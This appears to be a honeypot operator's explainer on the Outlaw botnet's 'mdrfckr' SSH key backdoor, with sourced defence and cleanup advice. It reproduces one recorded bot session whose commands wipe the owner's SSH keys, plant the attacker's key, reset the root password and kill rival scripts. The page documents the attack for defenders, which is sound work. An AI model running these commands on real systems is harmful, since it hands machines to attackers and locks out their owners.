Skip to the article

SSH key backdoor (mdrfckr)

On this page

On this page

  1. Is this key on your machine?
  2. One session, line by line
  3. How to stop it
  4. What it wants
  5. Who is behind it
  6. What it was trying to install
  7. This week
  8. Sources

Attack types

Is this key on your machine?

A bot guesses a password and logs in over SSH, the encrypted way to log in to a Linux machine and get a shell, the prompt that runs commands. It deletes the account's SSH keys and writes in one of its own, then changes the password.

An SSH key logs you in without a password. You keep the private half, and the public half goes in ~/.ssh/authorized_keys on the server.

The key is always the same one, with mdrfckr on the end. The file it writes has not changed since it was first seen, on 5 July 2018 [9]. The botnet behind it, a crowd of infected machines taking orders from the same people, is known as Outlaw or Dota, and it is still at it [9][10].

This honeypot, a machine that exists to be attacked, saw this attack from 241 IP addresses, the numbers machines are reached at on the internet, from 9 to 15 October 2026 (UTC). Every key they wrote was that one.

One session, line by line

One real session, meaning one connection from login to hangup, on 9 October 2026: 18 commands in about 28 seconds. The honeypot is rigged to let bots in after 2 to 5 different guesses [12], and it keeps one recording per identical command [13], so 17 of the 18 answers here come from other visits. The key is shortened, and the bot's payload, the program it wants to install, never shows up.

Never run these commands.









    

  1. cd ~; chattr -ia .ssh; lockr -ia .ssh Tries to clear the i and a locks on the .ssh folder. This botnet's miner sets both, so this probably undoes an earlier infection, or a lock an admin set. Here chattr finds no .ssh folder [5][6].
    2. 

  2. cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAB... mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ The backdoor. Deletes .ssh with every key the owner had, then writes the attacker's public key, labelled mdrfckr and shortened here [9][11][14].
    3. 

  3. cat /proc/cpuinfo | grep name | wc -l Counts the processors. Most of this script gathers CPU, users, scheduled tasks, processes and operating system details [15].
    4. 

  4. echo "root:NlkhFsFR1ych"|chpasswd|bash Sets root's password to a random string. Outlaw's password guesser does this and reports it home [6].
    5. 

  5. rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; Clears out a rival. Sangfor found a competing miner, WorkMiner, that leaves two scripts which ban addresses that guess SSH passwords; this deletes and kills both. Tying this line to WorkMiner is a reading: no source makes that link [16].
    6. 

  6. cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' From here on it is a survey. First, the processor model [15].
    7. 

  7. free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' How much memory there is, and how much is free [15].
    8. 

  8. ls -lh $(which ls) Looks at the ls program itself. The honeypot fumbles the answer. Why bots ask is only a guess.
    9. 

  9. crontab -l Lists the scheduled jobs for this account [15].
    10. 

  10. w Who else is logged in. The clock and address come from an earlier visit that sent the same command [13][15].
    11. 

  11. uname -m The hardware type, here x86_64.
    12. 

  12. cat /proc/cpuinfo | grep model | grep name | wc -l Counts the processors again, a slightly different way.
    13. 

  13. top The running processes. The honeypot answers with an error [15].
    14. 

  14. uname The kernel's name, here Linux.
    15. 

  15. uname -a Everything uname knows. The hostname, svr04, is cowrie's default.
    16. 

  16. whoami Which account it is logged in as.
    17. 

  17. lscpu | grep Model The processor model, once more.
    18. 

  18. df -h | head -n 2 | awk 'FNR == 2 {print $2;}' The disk size, and then it hangs up.
    19. 








How to stop it


Use keys, then turn passwords off



Put the changes in a new file in /etc/ssh/sshd_config.d/ whose name starts with 00. For most settings the first value read wins [3][17], and Ubuntu Server 24.04 can already have 50-cloud-init.conf, which turns passwords back on [18].


    

  1. If root is your only account, skip the PermitRootLogin line until you have a sudo account that logs in with a key.
    2. 

  2. On your own computer: ssh-keygen -t ed25519, then ssh-copy-id you@yourserver [17].
    3. 

  3. Open a new window and log in with the key. Keep the old session open.
    4. 

  4. Run sudo nano /etc/ssh/sshd_config.d/00-no-passwords.conf and put these lines in it.

    PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin no
    
OpenSSH allows password logins by default, and keyboard interactive login usually works as a second password prompt, so both go [3][19]. The third line stops root logging in over SSH; the CIS benchmark, a widely used hardening checklist, wants it off [20].
    5. 

  5. Check before you restart: sudo sshd -t tests the files, and sudo sshd -T | grep -i -E 'passwordauthentication|kbdinteractive|permitrootlogin' shows what SSH will actually use [17][21]. If it still says passwordauthentication yes, sudo grep -ri passwordauthentication /etc/ssh/sshd_config.d/ shows which file sets it.
    6. 

  6. Restart with sudo systemctl restart ssh [17] then try a brand new login before you close anything. If it fails, delete your file from the old session and restart SSH again.
    7. 



Make guessing a waste of time


    

  • Limit SSH with firewall rules [22], or allow only addresses you use [23].
    • 

  • If a password has to stay, make it at least 15 characters and nothing from a list of common or breached passwords [24].
    • 



If you found the key


The safe fix is a reinstall from installation media, restoring only your data [8]. Do not restore from a backup you cannot show is older than the break-in [8], and leave old copies of authorized_keys and crontabs out: that is where the kit keeps itself [6].


If you have to clean it in place, delete the scheduled jobs that bring it back, for every account, not only root [6]. Delete every line in authorized_keys that you did not put there, then lock or change the password of every account it touched [25].







What it wants


The key is for coming back, even after the password changes [14]. The new password is for keeping the box: Outlaw's password guesser sets it and reports it home [6].


The money comes from the machine's processors. The kit mines Monero, a cryptocurrency [10], and its IRC bot, a program that takes orders over a chat channel, can run denial of service attacks, floods of junk traffic that knock sites offline, which Trend Micro says the operators can rent out [26].







Who is behind it


Trend Micro named the group Outlaw in 2018 [27]. No person has been named, though the hints point to Romania [27]. The addresses that reach this honeypot are probably other victims: Outlaw uses machines it has already taken to break into the next ones [6].







What it was trying to install


A kit called dota3.tar.gz. Elastic took it apart [6]:


    

  • A Monero miner posing as kswapd0 [6][10].
    • 

  • An IRC bot posing as rsync, which can run commands, denial of service attacks and port scans [10].
    • 

  • BLITZ, the SSH password guesser [6].
    • 

  • Scheduled jobs that start it all at every reboot and write the key back [6].
    • 



Downloads are blocked here, so most payloads never arrive. This session never asked for the kit.







This week









Sources


    

  1. Niclas Heinz, "MDRFCKR - a (almost) decade old botnet", 16 June 2026. nheinz.eu
    2. 

  2. Michael Edie, "Honeypot Diaries: SSH Authorized Keys", 16 April 2023. blog.edie.io
    3. 

  3. OpenBSD manual pages, "sshd_config(5)", read 16 October 2026. man.openbsd.org
    4. 

  4. e2fsprogs manual, on man7.org, "lsattr(1)", read 16 October 2026. man7.org
    5. 

  5. e2fsprogs manual, on man7.org, "chattr(1)", read 16 October 2026. man7.org
    6. 

  6. Elastic Security Labs (Remco Sprooten and Ruben Groenewoud), "Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective", 1 April 2025. elastic.co
    7. 

  7. Elastic Security documentation, detection rule guide, "File made Immutable by Chattr", read 16 October 2026. elastic.co
    8. 

  8. The Debian Administrator's Handbook, "14.7. Dealing with a Compromised Machine", read 16 October 2026. debian-handbook.info
    9. 

  9. SANS Internet Storm Center (guest diary by Gokul Prema Thangavel), "New Malware Libraries means New Signatures", 15 May 2026. isc.sans.edu
    10. 

  10. Kaspersky, Securelist, "Outlaw cybergang attacking targets worldwide", 29 April 2025. securelist.com
    11. 

  11. Portable OpenSSH manual, on man7.org, "sshd(8)", read 16 October 2026. man7.org
    12. 

  12. Cowrie project, source code, "src/cowrie/core/auth.py, the AuthRandom login rule", version 3.0.13, tagged 24 August 2026. github.com
    13. 

  13. Cowrie project, source code, "src/cowrie/insults/insults.py, where a finished recording is named and duplicates dropped", version 3.0.13, tagged 24 August 2026. github.com
    14. 

  14. Juniper Threat Labs, now on the HPE Threat Labs blog, "Dota3: Is your Internet of Things device moonlighting?", 14 February 2020. community.hpe.com
    15. 

  15. Trend Micro (Jindrich Karasek and Augusto Remillano II), "Outlaw Updates: Kill Old Miner Versions, Target More", 10 February 2020. trendmicro.com
    16. 

  16. SecPulse, reposting Sangfor's report (in Chinese), "Linux挖矿木马WorkMiner集中爆发，利用SSH暴力破解传播 (Linux mining trojan WorkMiner spreads by SSH brute force)", 18 August 2021. secpulse.com
    17. 

  17. Canonical, Ubuntu Server documentation, "OpenSSH server", updated 2 October 2026. ubuntu.com
    18. 

  18. Launchpad, Ubuntu's bug tracker (reported by Mark Esler), "Bug #2088207: cloud-init enables ssh password auth in an unexpected config file", reported 14 November 2024. bugs.launchpad.net
    19. 

  19. Debian manpages, "sshd_config(5), openssh-server package, Debian 13 (trixie)", read 16 October 2026. manpages.debian.org
    20. 

  20. Tenable, copy of the CIS Ubuntu Linux 24.04 LTS Benchmark v2.0.0, "5.1.20 Ensure sshd PermitRootLogin is disabled", read 16 October 2026. tenable.com
    21. 

  21. OpenBSD manual pages, "sshd(8)", read 16 October 2026. man.openbsd.org
    22. 

  22. Darktrace (Tara Gould), "PumaBot: Novel Botnet Targeting IoT Surveillance Devices", 28 May 2025. darktrace.com
    23. 

  23. CounterCraft, "Dota3 Malware Again and Again", 13 October 2021. countercraftsec.com
    24. 

  24. NIST, "SP 800-63B-4, Digital Identity Guidelines: Authentication and Authenticator Management", July 2025. pages.nist.gov
    25. 

  25. René Terruhn, "Cryptominer on the server - forensics and clean-up in 37 minutes", 14 May 2026. terruhn.it
    26. 

  26. Trend Micro (Augusto Remillano II and Byron Gelera), "Outlaw's Botnet Spreads Miner, Perl-Based Backdoor", 13 June 2019. trendmicro.com
    27. 

  27. Trend Micro, "Perl-Based Shellbot Targets Organizations via C&C", 1 November 2018. trendmicro.com
    28.